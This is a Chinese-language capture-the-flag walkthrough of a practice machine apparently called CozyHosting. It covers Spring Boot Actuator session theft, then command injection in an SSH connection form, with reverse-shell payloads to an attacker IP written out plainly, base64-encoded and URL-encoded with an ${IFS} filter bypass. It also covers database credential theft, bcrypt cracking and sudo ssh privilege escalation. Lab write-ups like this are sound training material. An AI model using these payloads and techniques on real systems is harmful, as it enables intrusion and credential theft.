1、拿到靶场IP后Nmap跑一把
发现开着80、22端口
这个靶场的ssh爆破一般都爆破不出来,就直接跳过了,不然可以尝试一边爆破一边在看其他端口,打开80端口
改一下host文件 vim /etc/hosts
重新进入一下看看,是个web页面
2、使用dirsearch目录扫描
发现泄露了/actuator目录,那应该就是使用的springboot框架
..\..\..\..\..\..\..\..\etc\passwd没用
3、actuator/env利用
actuator/env可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,找到一篇帖子写的利用方法,可查阅Springboot之Actuator信息泄露漏洞利用_actuator/env-CSDN博客
尝试访问actuator/headdump去下载JVM堆栈信息,但是失败了
4、尝试访问actuator/sessions
发现了一个用户的session信息
455735207F00B89982CCDF1DA4E75FCF "kanderson"
5、替换session登录
进入login页面
这里使用了一个插件叫Cookie Editor
修改后访问/admin,之前目录爆破有显示这个目录,所以就盲猜是后台了
成功进入后台
6、命令注入
只有这个地方看着有搞头,随便输入东西然后抓包看看
试了很多payload,会出现这两种错误
通过报错可以猜测到这两个参数和ssh连接有关,再看host和username,想到了什么?
ssh username@host
为了验证,我把我kali的IP地址发了过去,果然
这本身就是个命令执行,那么我们在命令后面接;xxx应该就能执行我们输入的xxx命令,试试
ok,payload试出来了,为;`xxx`
直接反弹shell,开启监听
bash -i >& /dev/tcp/10.10.14.55/4444 0>&1
空格被过滤了,可以使用${IFS}代替空格
${IFS}知识:单独使用 ${IFS},例如在将它插入到一个命令序列中,它将被解析为一个空格。这是因为在这些情况下,Shell会将 IFS 的第一个字符(默认情况下是空格)用作分隔符。
去掉反引号试试
base64试试,再把空格换成${IFS}
bash${IFS}-c${IFS}{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NS80NDQ0IDA+JjE}|{base64,-d}|{bash,-i};
哪里有空格,我疯了,试了无数个反弹shell都不行
%3B%60echo%24%7BIFS%7D%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC41NS80NDQ0IDA%2BJjE%3D%22%7Cbase64%24%7BIFS%7D-d%7Cbash%3B%60%0A%0A
urlencode编码后就行了,我真的百思不得其解
7、反编译jar包
里面有个jar包,拖出来反编译一下,发现该环境有python环境
直接起下载服务器
我电脑没有java编译器,这里直接用其他师傅的wp截图了
可以看到postgres的用户名和密码
可以看到开了几个端口 5432,5432是postgresql的默认端口
8、连接postgres
重点关注cozyhosting数据库
在users表里面找到了kanderson和admin的password
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
正好知道一个工具jonh可以爆破该类hash,试试运气
manchesterunited
9、SSH连接
ssh连接试试
用户名可能不是这个,返回之前的shell里面看看etc/passwd
一个一个试,在josh的时候试出来了
拿到了josh的flag
d9380f2d09a66d74e387e2d61c8cf8e3
10、提权
这里提示可以用root权限启动ssh
直接去ssh | GTFOBins上面找到命令提权。
成功